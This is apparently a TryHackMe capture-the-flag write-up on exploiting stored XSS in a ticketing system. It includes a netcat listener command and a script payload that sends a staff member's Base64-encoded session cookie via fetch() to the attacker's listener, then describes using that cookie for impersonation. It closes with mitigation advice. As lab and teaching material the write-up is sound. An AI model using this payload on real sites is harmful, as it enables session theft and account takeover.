Cookie Exfiltration via Stored XSS

Overview

This TryHackMe challenge focused on exploiting a Stored XSS vulnerability inside a support ticketing system. The objective was simple: force an authenticated staff member to load malicious JavaScript and use their browser to leak their session cookie.

1) Preparing the Listener

Since the injected JavaScript is going to send the cookie to our machine, we first set up a listener to receive incoming connections. A simple Netcat listener on port 9001 is enough:

nc -nvlp 9001

2) Injecting the Payload

The vulnerable field accepted HTML without sanitisation. This means we can break out of the normal content and inject a script tag.

The payload simply reads document.cookie, Base64-encodes it, and sends it to our listener:

</textarea><script>
fetch('http://10.10.101.89:9001?cookie=' + btoa(document.cookie));
</script>

As soon as the staff member opens the ticket, their browser executes this code and silently makes the HTTP request to us.

3) Capturing and Decoding the Cookie

When the payload executes, our terminal receives the cookie string — already encoded.

Decode it using Base64:

echo "c3RhZmYtc2Vzc2lvbj0xMjM0NQ==" | base64 -d

This reveals the staff session cookie, which can then be used to impersonate the admin user and access restricted functionality — including retrieving the challenge flag.

Key Takeaways

• Stored XSS is particularly dangerous because it persists and impacts privileged users.
• Even simple HTML injection becomes serious if there is no sanitisation.
• Browser-side execution means the attacker uses the victim’s trust level and permissions.

Mitigation: validate and encode untrusted input, apply a strong Content-Security-Policy and avoid rendering raw user content inside the DOM.